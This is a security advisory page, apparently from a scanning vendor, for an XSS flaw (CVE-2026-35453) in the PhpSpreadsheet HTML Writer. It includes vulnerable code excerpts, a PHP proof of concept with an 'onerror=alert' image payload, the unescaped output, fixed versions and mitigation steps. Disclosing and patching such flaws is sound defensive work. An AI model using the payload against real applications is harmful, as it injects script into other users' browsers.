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GHSA-6wpp-88cp-7q68

GHSA-6wpp-88cp-7q68 is a security vulnerability in phpoffice/phpspreadsheet. O3 Security confirms whether GHSA-6wpp-88cp-7q68 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer

Also known asCVE-2026-35453
Published
Apr 28, 2026
Updated
May 8, 2026
Affected
5 pkgs
Patched
5 / 5
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk10th percentile0.00%
0.00%0.23%0.47%0.70%0.0%0.2%0.2%0.2%Jun 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

5 pkgs affected
🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.

Details

1. Conditional escaping in Html.php:1586-1594

$cellData = NumberFormat::toFormattedString(
    $origData2,
    $formatCode ?? NumberFormat::FORMAT_GENERAL,
    [$this, 'formatColor']
);

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());
}

htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.

2. Early return in Formatter.php:136-152

if (preg_match(self::SECTION_SPLIT, $format) === 0
    && preg_match(self::SYMBOL_AT, $formatx) === 1) {
    if (!str_contains($format, '"')) {
        return str_replace('@', /* raw value */, $format);
    }
    return str_replace(/* ... preg_replace with raw value ... */);
}

When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.

PoC

test.php

<?php

require '/app/vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

$payload    = '<img src=x onerror=alert(document.domain)>';
$formatCode = '@ "items"';


$sheet->setCellValue('A1', $payload);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);

$writer = new Html($spreadsheet);
$html = $writer->generateHTMLAll();

file_put_contents('/app/output.html', $html);

echo "HTML output saved to /app/output.html\n";

The produced output contains unescaped data.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" />
      <title>Untitled Spreadsheet</title>
      <meta name="author" content="Unknown Creator" />
      <meta name="title" content="Untitled Spreadsheet" />
      <meta name="lastModifiedBy" content="Unknown Creator" />
      <meta name="created" content="2026-04-02T16:34:44+00:00" />
      <meta name="modified" content="2026-04-02T16:34:44+00:00" />
    <style type="text/css">
[..SNIP..]
    </style>
  </head>

  <body>
<div style='page: page0'>
    <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>
        <col class="col0" />
        <tbody>
          <tr class="row0">
            <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td>
          </tr>
    </tbody></table>
</div>
  </body>
</html>
<img width="719" height="716" alt="Screenshot 2026-04-02 at 18 45 53" src="https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe" />

Impact

The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.

Affected Packages

5 total 5 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistphpoffice/phpspreadsheet4.0.0&&< 5.7.05.7.0
🐘Packagistphpoffice/phpspreadsheet3.3.0&&< 3.10.53.10.5
🐘Packagistphpoffice/phpspreadsheet2.2.0&&< 2.4.52.4.5
🐘Packagistphpoffice/phpspreadsheet2.0.0&&< 2.1.162.1.16
🐘Packagistphpoffice/phpspreadsheetall versions1.30.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update phpoffice/phpspreadsheet to 5.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6wpp-88cp-7q68 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-6wpp-88cp-7q68 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-6wpp-88cp-7q68. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The HTML Writer in PhpSpreadsheet bypasses `htmlspecialchars()` output escaping when a cell uses a custom number format containing the `@` text placeholder with additional literal text (e.g., `@ "items"` or `"Total: "@`). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file. ### Details #### 1. Conditional escaping in `Html.php:1586-1594` ```php $cellData = NumberFormat::toFormattedString( $origData2, $formatCode ?? NumberFormat::FORMAT_GENERAL, [$this, 'formatColor'] ); if ($cellData === $
O3 Security · Impact-Aware SCA

Is GHSA-6wpp-88cp-7q68 in your dependencies?

O3 detects GHSA-6wpp-88cp-7q68 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.